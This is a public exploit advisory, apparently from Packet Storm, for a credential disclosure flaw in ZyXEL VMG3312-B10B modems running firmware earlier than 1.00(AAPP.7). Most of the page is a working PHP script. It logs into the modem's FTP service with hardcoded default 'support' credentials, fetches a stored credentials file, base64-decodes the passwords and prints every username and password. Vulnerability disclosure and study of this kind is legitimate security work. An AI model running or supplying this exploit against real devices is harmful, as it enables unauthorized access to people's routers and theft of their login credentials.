ZyXEL VMG3312-B10B Credential Disclosure

ZyXEL VMG3312-B10B versions prior to 1.00 (AAPP.7) suffer from a credential disclosure vulnerability.


MD5 | d7d23c2b70dbfc679ed549383bbcd020

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# Exploit Title: ZyXEL VMG3312-B10B - Leak Credentials < 1.00(AAPP.7)
# Date: 2018-10-28
# Exploit Author: numan tA1/4rle @numanturle
# Vendor Homepage: https://www.zyxel.com/
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/
# Firmware: 1.00(AAPP.0)D7 
# Tested on: windows
# Fixed firmware: 1.00(AAPP.7)
 
 
<?php 
$ftp_server = "192.168.1.1"; // modem ip address
$ftp_conn = ftp_connect($ftp_server) or die("ftp server close");
$login = ftp_login($ftp_conn, "support", "support"); // backdoor 
 
$local_file = "crackme";
$server_file = "/var/csamu"; // base64_encode files
 
if (ftp_get($ftp_conn, $local_file, $server_file, FTP_BINARY)) {
    $open = file($local_file);
    foreach($open as $u_p){
        $bomb = explode(" ",$u_p);
        $user = $bomb[0];
        $pass = base64_decode($bomb[1]);
        if(!empty($pass)){
            echo "{$user}:{$pass}<br>";
        }else {
            continue;
        }
    }
}else {
    echo "pfff";
}
ftp_close($ftp_conn); 
?>



Source: packetstormsecurity.com
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